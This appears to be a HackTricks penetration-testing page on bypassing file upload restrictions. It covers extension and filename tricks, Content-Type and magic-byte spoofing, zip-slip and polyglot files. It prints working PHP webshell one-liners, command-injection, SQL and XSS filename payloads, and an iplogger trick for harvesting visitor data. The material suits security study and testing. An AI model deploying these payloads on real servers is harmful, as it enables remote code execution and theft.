File Upload
PreviousLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureNextPDF Upload - XXE and CORS bypass
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Other useful extensions:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
If they apply, the check the previous extensions. Also test them using some uppercase letters: pHp, .pHP5, .PhAr ...
Check adding a valid extension before the execution extension (use previous extensions also):
file.png.php
file.png.Php5
Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Try to bypass the protections tricking the extension parser of the server-side with techniques like doubling the extension or adding junk data (null bytes) between extensions. You can also use the previous extensions to prepare a better payload.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Add another layer of extensions to the previous check:
file.png.jpg.php
file.php%00.png%00.jpg
Try to put the exec extension before the valid extension and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
ex: file.php.png
Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\ or you could also introduce the payload directly in an image:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won't be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
The web page cold also be resizing the image, using for example the PHP-GD functions imagecopyresized or imagecopyresampled. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression.
Another technique to make a payload that survives an image resizing, using the PHP-GD function thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression.
Find a vulnerability to rename the file already uploaded (to change the extension).
Find a Local File Inclusion vulnerability to execute the backdoor.
Possible Information disclosure:
Upload several times (and at the same time) the same file with the same name
Upload a file with the name of a file or folder that already exists
Uploading a file with “.”, “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)
Upload a file in Windows with invalid characters such as |<>*?” in its name. (Windows)
Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)
The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.
If you can upload a XML file into a Jetty server you can obtain RCE because new *.xml and *.war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!
For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.
Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
In some occasions you may find that a server is using wget to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget will rename the file to "A"*232+".php".
Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.
Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
Set filename to ../../../tmp/lol.png and try to achieve a path traversal
Set filename to sleep(10)-- -.jpg and you may be able to achieve a SQL injection
Set filename to <svg onload=alert(document.domain)> to achieve a XSS
Set filename to ; sleep 10; to test some command injection (more command injections tricks here)
JS file upload + XSS = Service Workers exploitation
Try different svg payloads from https://github.com/allanlw/svg-cheatsheet****
If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
Check if there is any size limit uploading files
Here’s a top 10 list of things that you can achieve by uploading (from here):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injection
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injection / XSS / Open redirect
PNG / JPEG: Pixel flood attack (DoS)
ZIP: RCE via LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
The unexpected creation of files in directories during decompression is a significant issue. Despite initial assumptions that this setup might guard against OS-level command execution through malicious file uploads, the hierarchical compression support and directory traversal capabilities of the ZIP archive format can be exploited. This allows attackers to bypass restrictions and escape secure upload directories by manipulating the decompression functionality of the targeted application.
An automated exploit to craft such files is available at evilarc on GitHub. The utility can be used as shown:
Additionally, the symlink trick with evilarc is an option. If the objective is to target a file like /flag.txt, a symlink to that file should be created in your system. This ensures that evilarc does not encounter errors during its operation.
Below is an example of Python code used to create a malicious zip file:
Abusing compression for file spraying
For further details check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Creating a PHP Shell: PHP code is written to execute commands passed through the $_REQUEST variable.
File Spraying and Compressed File Creation: Multiple files are created and a zip archive is assembled containing these files.
Modification with a Hex Editor or vi: The names of the files inside the zip are altered using vi or a hex editor, changing "xxA" to "../" to traverse directories.
Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1) (form the exploit)
Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions imagecopyresized and imagecopyresampled from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases.
A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: "Encoding Web Shells in PNG IDAT chunks". This resource offers a comprehensive understanding of the process and its implications.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a GIFAR, a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible.
The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions.
Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
